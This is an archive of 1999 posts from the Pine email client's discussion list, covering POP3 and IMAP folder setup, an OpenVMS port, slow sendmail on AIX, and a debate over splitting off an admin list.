> renaming or deleting a directory simultaneously renames of deletes
> the corresponding folder.
>
> I just picked up pine 4.10, and found that this problem is partially
> fixed. Now only the INBOX is duplicated:
>
> PINE 4.10 FOLDER LIST Folder: INBOX 23 Messages
>
> Folders on evtexch0.tc.fluke.com in home directory
> --------------------------------------------------------------------
>
> INBOX/ INBOX received[/]
> Calendar[/] Contacts[/] Deleted Items[/]
> Journal[/] Notes[/] Outbox[/]
>
> I'm not sure why all folders (except the INBOX) are labeled with "[/]".
> Does anyone know the significance of this, or of the duplicate INBOX?
>
> Both pine 4.05 and 4.10 behave normally with folders on a Unix-based
> IMAP server, and the folders on the Exchange server show up normally
> with both Netscape 4.05 and the Outlook client. We're running pine
> under Solaris 2.5. Our Exchange server is version 5.5, service pack 2.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: "Ifversen, Jody M" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: PINE on OpenVMS
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Hello,

I am currently in the process of porting PINE 4.00 (I know, 4.10 is out.
First things first. 8] ) to OpenVMS.

I have, however, hit a small brick wall with the VMS mail interface due to
the changes in structure between version 3.9x and 4.xx. I admit that a part
of my problem is related to my rusty C skills (it has been 9 years since my
last programming foray.) I was wondering if someone out there with a bit
more up-to-date skill level in C, and an interest in PINE on VMS would be
willing to lend a hand?

What I have done so far is the following:

C-Client - Completed conversion with only a few minor warnings remaining,
except for the VMS mail piece.
PICO - Completed conversion with 1 outstanding error. Executable has been
linked and runs.
PINE - Approximately 40 errors left to resolve. Some of these are directly
related to the C-Client completion.

I am not looking for someone to do all of the remaining work. If I were, I
would have just waited for someone to port the whole thing in the first
place. What I am looking for is someone, perhaps with a bit more internal
knowledge of PINE, to help me get over (what I am hoping is) the last few
minor hurdles.

Thanks in advance.

-Jody

--
-----------------------------------------------------------------
Jody Ifversen [email protected]
Network Administrator II [email protected]
Lovelace Health Systems (505) 262-7655
Albuquerque, NM Fax: (505) 268-2967
-----------------------------------------------------------------

--
-----------------------------------------------------------------
For information about this mailing list, and its archives, see:
http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Fri, 12 Feb 1999 22:43:07 -0500
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From: Karl Zander <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: POP3 Problem/Question
In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B8430C@POISON>
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George,

Is the line in the pine.conf

inbox-path={pop.erols.com/pop3}INBOX

Do you have a pine.conf.fixed file? Check
the settings there. Those settings would
take priority over anything else.

Karl

At 02:27 PM 2/11/99 -0500, George Gallen wrote:
>
>Ok. that worked, so it's not our firewall.
>
>I read through the FAQ, and below seemed to be the
>correct method. I'm in the midst of loaded and playing
>with fetchmail, but in the mean time, I'd still like
>to get pine to do it (if it can).
>
>George
>
>-----Original Message-----
>From: Karl Zander [mailto:[email protected]]
>Sent: Thursday, February 11, 1999 2:15 PM
>To: George Gallen
>Cc: Pine Discussion Forum
>Subject: Re: POP3 Problem/Question
>
>
>George,
>
>RE: testing a POP3 connection. Do you have
>access to telnet? Can you telnet to
>pop.erols.com on port 110? A POP3 server
>should answer. Type quit to exit it.
>If you get no reply, check your firewall
>and other connections.
>
>Karl Zander
>
>
>On Thu, 11 Feb 1999, George Gallen wrote:
>
>> I tried to setup a folder as a POP3 folder
>>
>> When adding the folder we used:
>>
>> {pop.erols.com/pop3/user=username}INBOX
>>
>> After entry, the cursor went to the bottom of the screen
>> and did nothing, If I pressed <ENTER>, then it loaded the
>> previous folder (a local INBOX), no error messages, just nothing.
>>
>> I also tried {pop.erols.com/pop3} hoping username would
>> come up.
>>
>> I checked the configuration options thinking I had to
>> turn on the POP3, but didn't see anything.
>>
>> One thought I had was possibly our firewall may be blocking
>> outgoing pop3 requests? But before I submitted a "request" to
>> ask if that were the case, I'd check to make sure everyhing
>> was setup correctly. Is there anyway to test the above
>> thoeory? that is, is there a pop3 server that is known to
>> work that I could check against?
>>
>> Aside from using fetchmail (which I'm looking into at present).
>>
>> Using Pine 4.03
>>
>> George Gallen
>> [email protected]
>>
>> -----Original Message-----
>> From: George Gallen [mailto:[email protected]]
>> Sent: Friday, February 05, 1999 4:01 PM
>> To: Pine Discussion Forum
>> Subject: RE: Erols and IMAP (now a pop3 question)
>>
>>
>> Never mind....spoke with erols, they only allow pop3
>> access. Do I need to add anything to my unix system to
>> allow pine to access mailboxs via pop3?
>>
>> George Gallen
>> [email protected]
>>
>> -----Original Message-----
>> From: George Gallen [mailto:[email protected]]
>> Sent: Friday, February 05, 1999 3:34 PM
>> To: Pine Discussion Forum
>> Subject: Erols and IMAP
>>
>>
>> We have someone in our group, that wants to access their
>> email from their erols account using pine (on a unix system).
>>
>> Does anyone know if erols has the ability to IMAP access to
>> their members mail? I tried erols.com as the host, but our
>> DNS shot that one down. Would the username/password be the
>> same as thier login username/password?
>>
>> We are using pine 4.05.
>>
>>
>> Thanks
>> George Gallen
>> [email protected]
>>
>> -----------------------------------------------------------------
>> For information about this mailing list, and its archives, see:
>> http://www.washington.edu/pine/pine-info/
>> -----------------------------------------------------------------
>>
>> -----------------------------------------------------------------
>> For information about this mailing list, and its archives, see:
>> http://www.washington.edu/pine/pine-info/
>> -----------------------------------------------------------------
>> --
>> -----------------------------------------------------------------
>> For information about this mailing list, and its archives, see:
>> http://www.washington.edu/pine/pine-info/
>> -----------------------------------------------------------------
>>
>
>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Sat, 13 Feb 1999 01:11:03 -0500 (EST)
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From: George Gallen <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: POP3 Problem/Question
In-Reply-To: <[email protected]>
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My inbox-path points to a local INBOX. I'm trying
to setup another folder (not the primary inbox).

George

On Fri, 12 Feb 1999, Karl Zander wrote:

> George,
>
> Is the line in the pine.conf
>
> inbox-path={pop.erols.com/pop3}INBOX
>
> Do you have a pine.conf.fixed file? Check
> the settings there. Those settings would
> take priority over anything else.
>
> Karl
>
>
> At 02:27 PM 2/11/99 -0500, George Gallen wrote:
> >
> >Ok. that worked, so it's not our firewall.
> >
> >I read through the FAQ, and below seemed to be the
> >correct method. I'm in the midst of loaded and playing
> >with fetchmail, but in the mean time, I'd still like
> >to get pine to do it (if it can).
> >
> >George
> >
> >-----Original Message-----
> >From: Karl Zander [mailto:[email protected]]
> >Sent: Thursday, February 11, 1999 2:15 PM
> >To: George Gallen
> >Cc: Pine Discussion Forum
> >Subject: Re: POP3 Problem/Question
> >
> >
> >George,
> >
> >RE: testing a POP3 connection. Do you have
> >access to telnet? Can you telnet to
> >pop.erols.com on port 110? A POP3 server
> >should answer. Type quit to exit it.
> >If you get no reply, check your firewall
> >and other connections.
> >
> >Karl Zander
> >
> >
> >On Thu, 11 Feb 1999, George Gallen wrote:
> >
> >> I tried to setup a folder as a POP3 folder
> >>
> >> When adding the folder we used:
> >>
> >> {pop.erols.com/pop3/user=username}INBOX
> >>
> >> After entry, the cursor went to the bottom of the screen
> >> and did nothing, If I pressed <ENTER>, then it loaded the
> >> previous folder (a local INBOX), no error messages, just nothing.
> >>
> >> I also tried {pop.erols.com/pop3} hoping username would
> >> come up.
> >>
> >> I checked the configuration options thinking I had to
> >> turn on the POP3, but didn't see anything.
> >>
> >> One thought I had was possibly our firewall may be blocking
> >> outgoing pop3 requests? But before I submitted a "request" to
> >> ask if that were the case, I'd check to make sure everyhing
> >> was setup correctly. Is there anyway to test the above
> >> thoeory? that is, is there a pop3 server that is known to
> >> work that I could check against?
> >>
> >> Aside from using fetchmail (which I'm looking into at present).
> >>
> >> Using Pine 4.03
> >>
> >> George Gallen
> >> [email protected]
> >>
> >> -----Original Message-----
> >> From: George Gallen [mailto:[email protected]]
> >> Sent: Friday, February 05, 1999 4:01 PM
> >> To: Pine Discussion Forum
> >> Subject: RE: Erols and IMAP (now a pop3 question)
> >>
> >>
> >> Never mind....spoke with erols, they only allow pop3
> >> access. Do I need to add anything to my unix system to
> >> allow pine to access mailboxs via pop3?
> >>
> >> George Gallen
> >> [email protected]
> >>
> >> -----Original Message-----
> >> From: George Gallen [mailto:[email protected]]
> >> Sent: Friday, February 05, 1999 3:34 PM
> >> To: Pine Discussion Forum
> >> Subject: Erols and IMAP
> >>
> >>
> >> We have someone in our group, that wants to access their
> >> email from their erols account using pine (on a unix system).
> >>
> >> Does anyone know if erols has the ability to IMAP access to
> >> their members mail? I tried erols.com as the host, but our
> >> DNS shot that one down. Would the username/password be the
> >> same as thier login username/password?
> >>
> >> We are using pine 4.05.
> >>
> >>
> >> Thanks
> >> George Gallen
> >> [email protected]
> >>
> >> -----------------------------------------------------------------
> >> For information about this mailing list, and its archives, see:
> >> http://www.washington.edu/pine/pine-info/
> >> -----------------------------------------------------------------
> >>
> >> -----------------------------------------------------------------
> >> For information about this mailing list, and its archives, see:
> >> http://www.washington.edu/pine/pine-info/
> >> -----------------------------------------------------------------
> >> --
> >> -----------------------------------------------------------------
> >> For information about this mailing list, and its archives, see:
> >> http://www.washington.edu/pine/pine-info/
> >> -----------------------------------------------------------------
> >>
> >
> >
>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Sat, 13 Feb 1999 01:52:27 -0500 (EST)
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From: George Gallen <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: POP3 Problem/Question
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The problem might be either one of two things.

1. A configuration problem. When I attempted to setup a folder
using pop3 from my pine account, it worked ok. I will have
to look deeper into what differences are between the two
config files. The problem occured when I tried to setup the
pop3 folder from the other users account. Although we
both have system group privs, so I don't think it's a
unix permissions problem.

2. When it asked for the server name, I may have entered
{pop.erols.com/pop3/user=xxx}INBOX instead of just
pop.erols.com/pop3/user=xxx, then wait for the next question.
But I don't think that was the problem, because the cursor
just hung with no type of error message.

I'll have to try again on Monday, looking VERY carefully at
what I'm being asked for input, not what I THINK I'm being
asked.

Thanks
George

On Sat, 13 Feb 1999, George Gallen wrote:

> My inbox-path points to a local INBOX. I'm trying
> to setup another folder (not the primary inbox).
>
> George
>
>
> On Fri, 12 Feb 1999, Karl Zander wrote:
>
> > George,
> >
> > Is the line in the pine.conf
> >
> > inbox-path={pop.erols.com/pop3}INBOX
> >
> > Do you have a pine.conf.fixed file? Check
> > the settings there. Those settings would
> > take priority over anything else.
> >
> > Karl
> >
> >
> > At 02:27 PM 2/11/99 -0500, George Gallen wrote:
> > >
> > >Ok. that worked, so it's not our firewall.
> > >
> > >I read through the FAQ, and below seemed to be the
> > >correct method. I'm in the midst of loaded and playing
> > >with fetchmail, but in the mean time, I'd still like
> > >to get pine to do it (if it can).
> > >
> > >George
> > >
> > >-----Original Message-----
> > >From: Karl Zander [mailto:[email protected]]
> > >Sent: Thursday, February 11, 1999 2:15 PM
> > >To: George Gallen
> > >Cc: Pine Discussion Forum
> > >Subject: Re: POP3 Problem/Question
> > >
> > >
> > >George,
> > >
> > >RE: testing a POP3 connection. Do you have
> > >access to telnet? Can you telnet to
> > >pop.erols.com on port 110? A POP3 server
> > >should answer. Type quit to exit it.
> > >If you get no reply, check your firewall
> > >and other connections.
> > >
> > >Karl Zander
> > >
> > >
> > >On Thu, 11 Feb 1999, George Gallen wrote:
> > >
> > >> I tried to setup a folder as a POP3 folder
> > >>
> > >> When adding the folder we used:
> > >>
> > >> {pop.erols.com/pop3/user=username}INBOX
> > >>
> > >> After entry, the cursor went to the bottom of the screen
> > >> and did nothing, If I pressed <ENTER>, then it loaded the
> > >> previous folder (a local INBOX), no error messages, just nothing.
> > >>
> > >> I also tried {pop.erols.com/pop3} hoping username would
> > >> come up.
> > >>
> > >> I checked the configuration options thinking I had to
> > >> turn on the POP3, but didn't see anything.
> > >>
> > >> One thought I had was possibly our firewall may be blocking
> > >> outgoing pop3 requests? But before I submitted a "request" to
> > >> ask if that were the case, I'd check to make sure everyhing
> > >> was setup correctly. Is there anyway to test the above
> > >> thoeory? that is, is there a pop3 server that is known to
> > >> work that I could check against?
> > >>
> > >> Aside from using fetchmail (which I'm looking into at present).
> > >>
> > >> Using Pine 4.03
> > >>
> > >> George Gallen
> > >> [email protected]
> > >>
> > >> -----Original Message-----
> > >> From: George Gallen [mailto:[email protected]]
> > >> Sent: Friday, February 05, 1999 4:01 PM
> > >> To: Pine Discussion Forum
> > >> Subject: RE: Erols and IMAP (now a pop3 question)
> > >>
> > >>
> > >> Never mind....spoke with erols, they only allow pop3
> > >> access. Do I need to add anything to my unix system to
> > >> allow pine to access mailboxs via pop3?
> > >>
> > >> George Gallen
> > >> [email protected]
> > >>
> > >> -----Original Message-----
> > >> From: George Gallen [mailto:[email protected]]
> > >> Sent: Friday, February 05, 1999 3:34 PM
> > >> To: Pine Discussion Forum
> > >> Subject: Erols and IMAP
> > >>
> > >>
> > >> We have someone in our group, that wants to access their
> > >> email from their erols account using pine (on a unix system).
> > >>
> > >> Does anyone know if erols has the ability to IMAP access to
> > >> their members mail? I tried erols.com as the host, but our
> > >> DNS shot that one down. Would the username/password be the
> > >> same as thier login username/password?
> > >>
> > >> We are using pine 4.05.
> > >>
> > >>
> > >> Thanks
> > >> George Gallen
> > >> [email protected]
> > >>
> > >> -----------------------------------------------------------------
> > >> For information about this mailing list, and its archives, see:
> > >> http://www.washington.edu/pine/pine-info/
> > >> -----------------------------------------------------------------
> > >>
> > >> -----------------------------------------------------------------
> > >> For information about this mailing list, and its archives, see:
> > >> http://www.washington.edu/pine/pine-info/
> > >> -----------------------------------------------------------------
> > >> --
> > >> -----------------------------------------------------------------
> > >> For information about this mailing list, and its archives, see:
> > >> http://www.washington.edu/pine/pine-info/
> > >> -----------------------------------------------------------------
> > >>
> > >
> > >
> >
>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: POP3 Problem/Question
In-Reply-To: <[email protected]>
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George,
In that case, here's an excerpt from my pinerc that may be relevant to
you:

incoming-folders="USWEST" {pop.sttl.uswest.net/pop3/user=tgray}INBOX

-teg

On Sat, 13 Feb 1999, George Gallen wrote:

> My inbox-path points to a local INBOX. I'm trying
> to setup another folder (not the primary inbox).
>
> George
>
>
> On Fri, 12 Feb 1999, Karl Zander wrote:
>
> > George,
> >
> > Is the line in the pine.conf
> >
> > inbox-path={pop.erols.com/pop3}INBOX
> >
> > Do you have a pine.conf.fixed file? Check
> > the settings there. Those settings would
> > take priority over anything else.
> >
> > Karl

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Michael William Nesuda <[email protected]>
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Recently I tried to look at various newsgroups and I kept getting the
message "421 SMTP connection went away!"; I'm neither able to view
newsgroups to which I'm currently subscribed, nor to subscribe to new
ones. Does someone know what this message means?

- Michael

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From: Timothy J Luoma <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: We need a new list
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I've given up any hope that this list might get beyond the user-end
questions and issues addressed in the FAQ, which seem to be the highest
percentage posts.

I would like to keep '[email protected]' as it is, but request a
new list be made, something like '[email protected]' for those
who are looking for the more technical aspects of PINE.

I would also offer to admin that list if the objection raised is that no one
has time to do it.

The -info name is just too generic I think, people aren't going to figure
out that this is a list meant to answer different questions.

Originally I was going to send this to the PINE site, but decided I would
like to gauge how much interest there would be in adding a list. (both users
and @washington.edu)

TjL

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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: We need a new list
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>From: Timothy J Luoma <[email protected]>
>Date: Sat, 13 Feb 1999 20:26:03 -0500

>The -info name is just too generic I think, people aren't going to figure
>out that this is a list meant to answer different questions.

It's too late. pine-info is referred to in too many pine distributions at the
moment. If those building new pine distributions ignore the references to this
mailing list, I seriously doubt that changing its name will make any
difference.

As far as stopping people from asking FAQs, there's only one solution to that:
Don't answer them here.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Mike Brudenell <[email protected]>
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Subject: Re: We need a new list
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Hmmm... I agree that Pine-Info is referred to in lots of (older) releases
of Pine as the place users can go for assistance (it used to cover both
user- and admin-related issues until it was temporarily bidirectionally
gatewayed to comp.mail.pine).

Hence creating a new, differently named, list for admin topics seems
eminently sensible: people with user-queries seeing references to
Pine-Info will continue to ask their questions there, whilst
admin/developer types can frequent the new Pine-Admin (which would be
mentioned only in Pine's installation guide rather than on-line help?).

I trust that anyone asking admin-type question in Pine-Info would be
treated courteously and have their questions answered, rather than being
given a flaming shaft as user-type enquirers currently get in Pine-Info?!

The question would then arise: should we then consider having
comp.mail.pine bidriectionally gatewayed to comp.mail.pine again?

Cheers,

Mike B-)
--
The Computing Service, University of York, Heslington, York Yo10 5DD, UK
Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/

* Unsolicited commercial e-mail is NOT welcome at this e-mail address. *

On Sun, 14 Feb 1999, Adam H. Kerman wrote:

> >From: Timothy J Luoma <[email protected]>
> >Date: Sat, 13 Feb 1999 20:26:03 -0500
>
> >The -info name is just too generic I think, people aren't going to figure
> >out that this is a list meant to answer different questions.
>
> It's too late. pine-info is referred to in too many pine distributions at the
> moment. If those building new pine distributions ignore the references to this
> mailing list, I seriously doubt that changing its name will make any
> difference.
>
> As far as stopping people from asking FAQs, there's only one solution to that:
> Don't answer them here.
>
>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Jan Kalin <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: We need a new list
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> I would like to keep '[email protected]' as it is, but
> request a new list be made, something like
> '[email protected]' for those who are looking for the more
> technical aspects of PINE.

The first thing that popped up in my mind was: why bother. I would support
this if the volume of postings would be too high to separate 'admin' from
'user' questions, thereby burying 'admin' questions. As it is -- a few
posts per day -- it doesn't take long to sort out the questions. I don't
think that the extra 'user' questions really devalue this list so much
that a new one would have to be created.

The creation of 'admin' list would also mean that most people who actually
know something about Pine and who are the most qualified to answer
questions would not read the 'user' list (that, I presume, is the idea
behind the 'admin' list). So, the 'user' list would have noone capable of
answering questions, even if the answer is RTFFAQ. That would lower the
level of 'support' for Pine and wouldn't do much for Pine's image.

Another thing: If a user is not very computer literate, the answer to his
question and answer may be in the FAQ but he/she may not be able to
understand it.

Out of curiosity: did anyone *not* post/get an 'admin' type
question/answer because of the 'user' type questions on the list?

I know that this view might bring on flames; resist the urge! I'm just
voicing my opinion.

Cheers, Jan

--
Jan Kalin (male, preferred languages: Slovene, English)
<A HREF="http://www.zag.si/~jank/"> contact information </A>

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Steven Ertelt <[email protected]>
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Okay, this will be my third and final try to get an answer to this
question. Using PC Pine 4.05, how do you get the ctrl-K delete feature to
*not* put the deleted text on the clipboard for pasting.

Thanks,
Steven

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>Date: Sun, 14 Feb 1999 10:01:49 +0000 ("GMT)
>From: Mike Brudenell <[email protected]>

>Hmmm... I agree that Pine-Info is referred to in lots of (older) releases
>of Pine as the place users can go for assistance (it used to cover both
>user- and admin-related issues until it was temporarily bidirectionally
>gatewayed to comp.mail.pine).

>Hence creating a new, differently named, list for admin topics seems
>eminently sensible: people with user-queries seeing references to
>Pine-Info will continue to ask their questions there, whilst
>admin/developer types can frequent the new Pine-Admin (which would be
>mentioned only in Pine's installation guide rather than on-line help?).

Therefore, pine-admin will see only minimal traffic until there are sufficient
new installations. It's pointless.

People haven't followed instructions in the past. We've asked users not to ask
beginners questions here. They still ask them. I ask people not to Cc me when
replying to the list; I get Cced anyway.

There's nothing wrong with the name of this list. This is a place to get
information.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Darren Henderson <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: We need a new list
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On Sun, 14 Feb 1999, Steven Ertelt wrote:

> Okay, this will be my third and final try to get an answer to this
> question. Using PC Pine 4.05, how do you get the ctrl-K delete feature to
> *not* put the deleted text on the clipboard for pasting.

I think some one did reply to you and told you what I beleive to be true.
That ctrl K has _always_ worked that way.

Can always alter the source in pico of course.

______________________________________________________________________
Darren Henderson [email protected]

Help fight junk e-mail, visit http://www.cauce.org/

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From: Joe Marchak <[email protected]>
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> The first thing that popped up in my mind was: why bother. I would
> support this if the volume of postings would be too high to separate
> 'admin' from 'user' questions, thereby burying 'admin' questions. As it
> is -- a few posts per day -- it doesn't take long to sort out the
> questions.

This was my reaction as well. The pine list isn't high enough volume
to warrant a split, and a split would mean subscribing to yet another
mailing list just to get the same info.

-Joe.
_____________________________________________________________________
Joe Marchak [email protected] ph:03-5203-3925 fx:03-5203-3699 +813/-03

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From: Timothy J Luoma <[email protected]>
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Author: "Adam H. Kerman" <[email protected]>
Date: Sun, 14 Feb 1999 00:52:24 -0600 (EST)
ID: <[email protected]>

> It's too late. pine-info is referred to in too many pine distributions at
> the moment. If those building new pine distributions ignore the references
> to this mailing list, I seriously doubt that changing its name will make
> any difference.

I meant that we needed to ADD a _second_ list, and leave this one as-is for
whatever purpose people want for it.

I was not suggesting a simple name-change.

Sorry for not being clearer about that.

I think that you're right, just changing the name won't help.

TjL

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From: Mike Brudenell <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: We need a new list
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On Sun, 14 Feb 1999, Adam H. Kerman wrote:

> Therefore, pine-admin will see only minimal traffic until there are sufficient
> new installations. It's pointless.

The difference is that a posting to Pine-Info urging administrators to use
the new list will (hopefully) be seen by the admin-types who frequent this
forum most of the time.

> People haven't followed instructions in the past. We've asked users not to ask
> beginners questions here. They still ask them. I ask people not to Cc me when
> replying to the list; I get Cced anyway.

In contrast references to Pine-Info being the place to go if you have any
(user) questions is engrained into the documentation of an established
base of older Pines (eg, certainly up to 3.95).

Because of this we keep getting new people appearing on Pine-Info and
asking user-type questions because they have been told this is the place
to go for help.

> There's nothing wrong with the name of this list. This is a place to get
> information.

A *LOT* is wrong with this list ... I used to be a frequent contribuor to
it but have scaled back my efforts considerably. Partly this is due to
pressure of work here at present, but largely it is due to the changed
nature and "pleasantness" of this list.

Originally it was a forum where users and administrators happily
co-existed, and the latter were willing to help the former.

Then came a substantial increase in the number of sites running Pine,
coupled with the bidirectional gatewaying of Pine-Info to comp.mail.pine.
The result was a vast increase in user-type questions, which seemed to
flood the list and annoy many admin-type participants.

Then the gatewaying broke down, and it was eventually decided to leave it
down so that comp.mail.pine was for user-type questions and Pine-Info was
for admin-type ones.

Problems here are:

* There are still too many references out there indicating Pine-Info is
the place to go for users with questions;

* There doesn't appear to be a regular posting reminding newcomers to
use comp.mail.pine instead for user-enquiries (although I guess this
may not be included in the subscription info -- I haven't had to
re-join the list for years and so haven't seen this lately);

* Usenet News is not available to everyone, and so requiring users to use
a newsgroup to access their questions makes it difficult or impossible
for some;

* Some of the admin-types currently on Pine-Info give very short shrift
to users asking "user-questions" resulting in messages, and sometimes
entire threads, of less than pleasant exchanges.

It is easier to persuade a smaller proportion of administrators to change
to a new list than a large number of end users.

Just my thoughts...

Cheers,

Mike B-)

PS. I have carefully NOT cc'd you a copy of this reply directly despite
your not requesting this explicitly in your message, and even though it
took a fraction more of my time to do so. :-)

M B-)

--
The Computing Service, University of York, Heslington, York Yo10 5DD, UK
Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/

* Unsolicited commercial e-mail is NOT welcome at this e-mail address. *

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: We need a new list
In-Reply-To: Mike Brudenell's message of "Mon, 15 Feb 1999 09:54:13 +0000 ("GMT)"
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* Mike Brudenell <[email protected]> writes:
> On Sun, 14 Feb 1999, Adam H. Kerman wrote:

>> There's nothing wrong with the name of this list. This is a place to get
>> information.

> A *LOT* is wrong with this list ... I used to be a frequent contributor
> to it but have scaled back my efforts considerably.

<AOL> Me too, me too!!! </AOL>

> [...] largely it is due to the changed nature and "pleasantness" of this
> list.

You should, like, get a jolly life and stuff, Mike.

> Problems here are:

> * There are still too many references out there indicating Pine-Info is
> the place to go for users with questions;

The documentation is seriously in many places. 4.x wasn't mature enough
when first released. Therefore, e.g. my university didn't upgrade.

> * There doesn't appear to be a regular posting reminding newcomers to use
> comp.mail.pine instead for user-enquiries

There used to be one IIRC.

> * Usenet News is not available to everyone, and so requiring users to use
> a newsgroup to access their questions makes it difficult or impossible
> for some;

Add this to your statement: using pine as a newsreader is irksome, to say
the least.

> * Some of the admin-types currently on Pine-Info give very short shrift
> to users asking "user-questions" resulting in messages, and sometimes
> entire threads, of less than pleasant exchanges.

This didn't come out of nowhere, did it? I don't know what make pine users
exceptionally prone to asking 100% braindead luser questions but, hey!, it
doesn't happen on either <news:comp.mail.mutt> nor <news:gnu.emacs.gnus>
although both have a lot more traffic.

> It is easier to persuade a smaller proportion of administrators to change
> to a new list than a large number of end users.

Scoring (vulgo known as killfiling) helps a lot, too. After a couple of
months, you get almost 0% lusers. The problem is, that there are only 6
people left.

> PS. I have carefully NOT cc'd you a copy of this reply directly despite
> your not requesting this explicitly in your message, and even though it
> took a fraction more of my time to do so. :-)

Hooks. You want hooks. Or even better: posting styles. For each Mailing
List. For each Newsgroup. For each induhvidual.

Robin

--
Robin S. Socha <http://socha.net/>

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From: Roger Sabin <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: AIX Slow Sendmail
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I am helping a company setup Pine on an AIX RS6000 box. (Don't know the =
AIX version, but the box was purchased within the last year.) Pine =
appears to be sending messages, but it takes a looooong time to process =
the send. The screen shows "sending 0%" for a very long time. Is this =
correct? Can it be fixed?

Roger Sabin
[email protected]

--
-----------------------------------------------------------------
For information about this mailing list, and its archives, see:
http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

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From: Jeff A Kinsey <[email protected]>
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Subject: Re: AIX Slow Sendmail
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obviously, we sun solaris fans are going to suggest a hardware switch <GRIN>

-jeff

Roger Sabin wrote:

> I am helping a company setup Pine on an AIX RS6000 box. (Don't know the AIX version, but the box was purchased within the last year.) Pine appears to be sending messages, but it takes a looooong time to process the send. The screen shows "sending 0%" for a very long time. Is this correct? Can it be fixed?
>
> Roger Sabin
> [email protected]
>
> --
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------

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From: Shane Castle <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: AIX Slow Sendmail
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On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key):

>I am helping a company setup Pine on an AIX RS6000 box. (Don't know
>the AIX version, but the box was purchased within the last year.) Pine
>appears to be sending messages, but it takes a looooong time to process
>the send. The screen shows "sending 0%" for a very long time. Is this
>correct? Can it be fixed?

I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10,
sendmail 8.9.2, RS6000 7015-R50). You will have to answer these
questions:

What release of AIX?
Is the sendmail the one shipped with AIX or is it locally built?
If locally built, what release is it?
What release of Pine?
Was Pine built correctly? (sometimes a matter of personal preference)

The answer might lie in none of the above. Improper DNS configurations
have been known to cause slow MUA communications with sendmail. Check the
/etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the
correct information in them?

--
Shane Castle
Boulder County Info Svcs
Boulder CO USA

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From: James Bakewell <[email protected]>
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Subject: Qmail
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Does any one know if pine ships as part of qmail for UNIX and qmail for
NT.

Regards
James
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From: Topher <[email protected]>
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I've been playing with Roles a bit. I got one to work just fine, and it
worked for about 10 minutes. I added a second role, and then niether
worked. I deleted the second one, but it didn't help. I've got 4.10 on
and SGI with Irix 6.2

I'm not getting any error messages or anything, it just never asks me if I
want to use the role (I have always confirm turned on).

I'm not using a role file, merely the pinerc format.

Any suggestions?

Topher
Tech Support
[email protected]
Gospel Communications Network

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From: "Krishnakumar Subramanian" <[email protected]>
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Is there any way I could redirect read messages after it has been read?
As of now, all the read messages go to read-messages folder after it has
been read, by default. I would like to send the messages comming from a
perticular address to a specific folder after it has been read. Thank
you.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
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From: Roger Sabin <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: AIX Slow Sendmail
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To answer your questions:

AIX 4.3
Using whatever version of sendmail was shipped
Pine 4.05
Downloaded pine-bin.aix4.2, did not build our own copy of Pine
We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using Pine internally for now.

Any ideas?

Roger Sabin
[email protected]

-----Original Message-----
From: Shane Castle [SMTP:[email protected]]
Sent: Tuesday, February 16, 1999 1:33 PM
To: Pine Discussion Forum
Subject: Re: AIX Slow Sendmail

On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key):

>I am helping a company setup Pine on an AIX RS6000 box. (Don't know
>the AIX version, but the box was purchased within the last year.) Pine
>appears to be sending messages, but it takes a looooong time to process
>the send. The screen shows "sending 0%" for a very long time. Is this
>correct? Can it be fixed?

I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10,
sendmail 8.9.2, RS6000 7015-R50). You will have to answer these
questions:

What release of AIX?
Is the sendmail the one shipped with AIX or is it locally built?
If locally built, what release is it?
What release of Pine?
Was Pine built correctly? (sometimes a matter of personal preference)

The answer might lie in none of the above. Improper DNS configurations
have been known to cause slow MUA communications with sendmail. Check the
/etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the
correct information in them?

--
Shane Castle
Boulder County Info Svcs
Boulder CO USA

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From: Zoltan RAB <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: BCC
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Dear Sir or Madam,

I tried to set up a group in my PINE addressbook, and I did not want the
recepients to see who else received the message. It is possible at
creating a message to define a BCC, however it is not available in the
addressbook itself. Is there any reason for that? By the way, DePaul
University is using version 3.95 of Pine. Is there a newer one than this?

I appreciate your response,

Zoltan Rab

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Date: Thu, 18 Feb 1999 14:29:45 -0800 (Pacific Standard Time)
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: AIX Slow Sendmail
In-Reply-To: <01BE5AE1.E143A200@DAD>
